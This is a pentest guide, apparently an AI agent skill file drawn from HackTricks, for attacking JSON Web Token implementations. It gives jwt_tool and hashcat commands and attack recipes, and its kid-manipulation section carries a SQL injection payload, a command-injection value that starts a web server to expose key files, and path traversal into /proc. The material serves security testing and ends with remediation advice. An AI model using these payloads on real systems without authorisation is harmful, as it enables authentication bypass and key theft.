Hacktricks-skills jwt-pentest

How to assess JWT (JSON Web Token) security vulnerabilities in web applications. Use this skill whenever the user mentions JWT tokens, JSON Web Tokens, token security, authentication bypass, session hijacking, or needs to test JWT implementations for vulnerabilities like signature bypass, algorithm confusion, or key exposure. This skill covers the complete JWT assessment workflow from reconnaissance to exploitation.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/hacking-jwt-json-web-tokens/SKILL.MD
source content

JWT Pentesting Skill

A comprehensive guide for assessing JSON Web Token security in web applications.

Quick Assessment Workflow

Follow this systematic approach when evaluating JWT implementations:

1. Scope the Session Control

Identify which tokens actually gate authorization:

  • Pick a user-specific request (profile, billing, admin actions)
  • Remove cookies/headers one at a time until the request is rejected
  • Note which token(s) are required for authorization

2. Locate JWTs in Traffic

JWTs commonly appear in:

  • Authorization: Bearer <JWT>
    header
  • Custom headers (e.g.,
    X-Auth-Token
    )
  • Cookies (e.g.,
    session
    ,
    auth_token
    )

Search patterns for Burp Site Map:

[= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*
eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+
[= ]eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*

3. Decode and Enumerate

Use

jwt_tool
or Burp JWT Editor to inspect:

python3 jwt_tool.py <JWT_TOKEN>

Key fields to note:

  • alg
    : Algorithm (HS256, RS256, ES256, none)
  • exp
    : Expiration time
  • kid
    : Key ID (potential attack vector)
  • jku
    /
    x5u
    : Remote key URLs (SSRF potential)
  • Authn/authz claims:
    role
    ,
    id
    ,
    username
    ,
    email
    ,
    sub

4. Signature Enforcement Check

Quick test: Flip or delete bytes in the signature portion and replay.

  • Accepted → Missing signature validation (critical vulnerability)
  • Rejected → Signature is being checked (proceed to other attacks)

Attack Patterns

Pattern 1: Signature Bypass (No Verification)

When to try: After confirming signature is checked, test if tampering works.

Steps:

  1. Decode the JWT
  2. Modify payload claims (e.g., change
    role: user
    to
    role: admin
    )
  3. Keep the original signature unchanged
  4. Send the modified token

Success indicator: Server accepts the tampered token without re-verification.

Pattern 2: Algorithm None Attack

When to try: Token uses any algorithm, server may not enforce algorithm.

Steps:

  1. Set
    alg
    header to
    none
    or
    None
  2. Remove the signature portion entirely
  3. Send the unsigned token

Burp JWT Editor: Use the built-in "none" algorithm attack.

Pattern 3: HMAC Key Confusion (RS256 → HS256)

When to try: Token uses RS256 (asymmetric) and you have access to the public key.

Concept: Change algorithm from RS256 to HS256. The server will use the public key as the HMAC secret.

Steps:

  1. Extract the RSA public key from:

    • /.well-known/jwks.json
    • Server certificate
    • JWKS endpoint
  2. Change

    alg
    from
    RS256
    to
    HS256

  3. Re-sign the token using the public key as the secret

Using Burp JWT Editor:

  • Import the RSA public key
  • Run Attack → HMAC Key Confusion Attack

Using jwt_tool:

python3 jwt_tool.py <JWT> -M at  # All tests mode

Pattern 4: Secret Key Brute Force

When to try: Token uses HS256 with a weak secret.

Steps:

  1. Export the JWT to a file
  2. Run offline cracking:
# Using jwt_tool
python3 jwt_tool.py <JWT> -C -d /path/to/wordlist.txt

# Using hashcat (GPU-accelerated)
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule
  1. Once secret is recovered, re-sign modified claims with the discovered secret.

Pattern 5: Kid Manipulation

When to try: Token has a

kid
header claim.

Attack vectors:

5a. Key File Discovery

Search for the key file referenced by

kid
:

# If kid is "key/12345", try:
GET /key/12345
GET /key/12345.pem
GET /keys/12345
GET /public/12345.pem

5b. Path Traversal

Attempt to traverse to files with known content:

# Using jwt_tool
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

# Target /proc/sys/kernel/randomize_va_space (contains "2")
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../proc/sys/kernel/randomize_va_space" -S hs256 -p "2"

5c. SQL Injection

If

kid
is used in database queries:

non-existent-index' UNION SELECT 'ATTACKER';-- -

5d. OS Command Injection

If

kid
is used in command execution:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

Pattern 6: JWKS Spoofing (jku/x5u)

When to try: Token has

jku
(JWK Set URL) or
x5u
(X.509 URL) header.

Concept: Server fetches keys from remote URL. Point it to your controlled server.

Steps:

  1. Create your own key pair:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
  1. Host a JWKS file at your controlled URL:
{
  "keys": [
    {
      "kty": "RSA",
      "use": "sig",
      "alg": "RS256",
      "n": "<base64-encoded-n>",
      "e": "AQAB"
    }
  ]
}
  1. Modify the token's
    jku
    or
    x5u
    to point to your JWKS
  2. Re-sign with your private key
  3. Send the forged token

Using Burp Collaborator:

  • Use JWT Editor → Attack → Embed Collaborator payload
  • Any callback confirms SSRF-style key retrieval

Pattern 7: Embedded Public Key (CVE-2018-0114)

When to try: Token has embedded public key in header.

Steps:

  1. Generate new key pair:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
  1. Extract
    n
    and
    e
    from your public key
  2. Embed your public key in the token header
  3. Re-sign with your private key

Pattern 8: x5c Certificate Chain Attack

When to try: Token has

x5c
header with certificate chain.

Steps:

  1. Generate self-signed certificate:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
  -keyout attacker.key -out attacker.crt
  1. Extract certificate in base64
  2. Replace
    x5c
    value with your certificate
  3. Re-sign with your private key

Pattern 9: Token Replay

When to try: Token has short

jti
(JWT ID) or no expiration check.

Scenarios:

  • jti
    has limited length (e.g., 4 digits: 0001-9999)
  • Token has
    exp
    claim but server doesn't enforce it
  • Token never expires

Test:

  1. Capture a valid token
  2. Wait for expiration time to pass
  3. Replay the token
  4. If accepted, the server doesn't check expiration

Pattern 10: Cross-Service Relay

When to try: Multiple services share JWT infrastructure.

Steps:

  1. Sign up on a different service using the same JWT provider
  2. Obtain a token from the other service
  3. Attempt to use it on the target service
  4. If accepted, tokens are shared across services

Tool Usage

jwt_tool

# Decode and analyze
python3 jwt_tool.py <JWT>

# All attack tests (automated)
python3 jwt_tool.py -M at -t "https://api.example.com" -rh "Authorization: Bearer <JWT>"

# Offline secret cracking
python3 jwt_tool.py <JWT> -C -d wordlist.txt

# JWKS spoofing test
python3 jwt_tool.py <JWT> -X s

# Tamper header claim
python3 jwt_tool.py <JWT> -I -hc <header_name> -hv <header_value>

Burp JWT Editor

Key features:

  • Decode/encode JWTs in Repeater
  • Generate custom keys (RSA, ECDSA, HMAC)
  • Built-in attacks:
    • Algorithm
      none
      attack
    • HMAC key confusion attack
    • Embedded JWK attack
    • jku/x5u Collaborator payloads

Workflow:

  1. Send request to Repeater
  2. Open JWT Editor tab
  3. Modify claims or run attacks
  4. Send modified request

hashcat

# HS256 cracking (mode 16500)
hashcat -a 0 -m 16500 jwt.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule

# With GPU acceleration
hashcat -a 0 -m 16500 jwt.txt wordlist.txt --force

Common Vulnerability Indicators

SymptomLikely Vulnerability
Token accepted after signature modificationNo signature verification
Token accepted with
alg: none
Algorithm enforcement missing
RS256 token accepted with HS256 signatureKey confusion vulnerability
kid
points to accessible file
Key exposure
jku
/
x5u
triggers callback
SSRF in key retrieval
Expired token still worksNo expiration check
Same token works on different servicesCross-service relay

Reporting Findings

When documenting JWT vulnerabilities:

  1. Include the original token (redact sensitive claims if needed)
  2. Show the modified token that demonstrates the vulnerability
  3. Explain the impact (privilege escalation, authentication bypass, etc.)
  4. Provide reproduction steps
  5. Suggest remediation:
    • Always verify signatures
    • Enforce algorithm whitelist (never allow
      none
      )
    • Use strong, random secrets for HMAC
    • Validate
      kid
      against allowlist
    • Implement proper expiration checks
    • Use separate keys per service

Quick Reference

Most common vulnerabilities (in order of frequency):

  1. No signature verification
  2. Algorithm
    none
    accepted
  3. Weak HMAC secrets
  4. Key confusion (RS256 → HS256)
  5. Kid manipulation
  6. JWKS/x5u SSRF

First tests to run:

  1. Tamper payload, keep signature
  2. Set algorithm to
    none
  3. Run
    jwt_tool -M at
  4. Check for
    kid
    ,
    jku
    ,
    x5u
    headers
  5. Test expiration bypass